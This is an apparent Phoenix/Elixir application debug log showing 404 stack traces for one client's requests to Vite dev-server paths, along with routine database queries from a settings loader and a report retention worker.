    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:10.538000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /@hmr.mjs
[Thu Sep  3 17:17:10.558000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /@hmr.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:10.629000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /__hmrClient
[Thu Sep  3 17:17:10.654000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:11.856000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /__hmrClient.js
[Thu Sep  3 17:17:11.872000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:13.643000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:7908] GET /__hmrClient.mjs
[Thu Sep  3 17:17:13.662000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:7908] ** (Phoenix.Router.NoRouteError) no route found for GET /__hmrClient.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:25.398000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54220] GET /assets/vendor/topbar.js
[Thu Sep  3 17:17:25.415000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54220] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/topbar.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:25.452000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:3478] GET /assets/vendor/ag-grid-community.min.js
[Thu Sep  3 17:17:25.467000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:3478] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-community.min.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:17:25.496000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:54232] GET /assets/vendor/ag-grid-enterprise.js
[Thu Sep  3 17:17:25.516000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:54232] ** (Phoenix.Router.NoRouteError) no route found for GET /assets/vendor/ag-grid-enterprise.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 17:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1479.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 17:30:00.844000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1598.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 17:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 17:30:00.970000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=725.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 17:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 17:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1463.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 17:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1451.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 17:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1432.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:00:00.512000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1216.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 18:00:00.900000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=1603.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 18:00:00.999000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.4ms idle=566.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 18:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 18:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms queue=0.1ms idle=1414.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 18:09:16.829000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:09:17.083000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4410] GET /
[Thu Sep  3 18:09:17.083000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:4410] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:17.084000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4410] Sent 200 in 1ms
[Thu Sep  3 18:09:19.634000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:09:19.883000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4450] GET /
[Thu Sep  3 18:09:19.883000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:4450] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:19.884000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4450] Sent 200 in 1ms
[Thu Sep  3 18:09:21.129000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:09:21.558000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4468] GET /
[Thu Sep  3 18:09:21.558000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:4468] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:21.559000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4468] Sent 200 in 1ms
[Thu Sep  3 18:09:23.082000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 18:09:23.339000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /
[Thu Sep  3 18:09:23.339000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:4488] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:23.339000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] Sent 200 in 798µs
[Thu Sep  3 18:09:25.311000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /
[Thu Sep  3 18:09:25.311000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:4488] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Thu Sep  3 18:09:25.312000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] Sent 200 in 987µs
[Thu Sep  3 18:09:26.275000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49950] GET /
[Thu Sep  3 18:09:26.275000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49950] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"__vitesweep" => "52a614990ef3424f"}
  Pipelines: [:browser]
[Thu Sep  3 18:09:26.288000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49950] Sent 406 in 13ms
[Thu Sep  3 18:09:26.290000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:49950] ** (Phoenix.NotAcceptableError) no supported media type in accept header.

Expected one of ["html"] but got the following formats:

  * "text/x-vite-ping" with extensions: []

To accept custom formats, register them under the :mime library
in your config/config.exs file:

    config :mime, :types, %{
      "application/xml" => ["xml"]
    }

And then run `mix deps.clean --build mime` to force it to be recompiled.

    (phoenix 1.7.19) lib/phoenix/controller.ex:1606: Phoenix.Controller.refuse/3
    (da_product_app 0.1.0) DaProductAppWeb.Router.browser/2
    (da_product_app 0.1.0) lib/da_product_app_web/router.ex:1: DaProductAppWeb.Router.__pipe_through0__/1
    (phoenix 1.7.19) lib/phoenix/router.ex:475: Phoenix.Router.__call__/5
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:28.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49956] GET /
[Thu Sep  3 18:09:28.534000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49956] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:28.534000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49956] Sent 200 in 805µs
[Thu Sep  3 18:09:30.602000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49964] GET /
[Thu Sep  3 18:09:30.602000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 67.213.121.153:49964] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 18:09:30.602000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:49964] Sent 200 in 869µs
[Thu Sep  3 18:09:35.590000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:4488] GET /@vite/client.mjs
[Thu Sep  3 18:09:35.606000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:4488] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.mjs (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:36.450000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16574] GET /@vite/client.js
[Thu Sep  3 18:09:36.468000 2026] [Plug.Debugger:debug] [pid 2816631] [client 67.213.121.153:16574] ** (Phoenix.Router.NoRouteError) no route found for GET /@vite/client.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 18:09:36.492000 2026] [Phoenix.Logger:info] [pid 2816631] [client 67.213.121.153:16560] GET /@vite/client
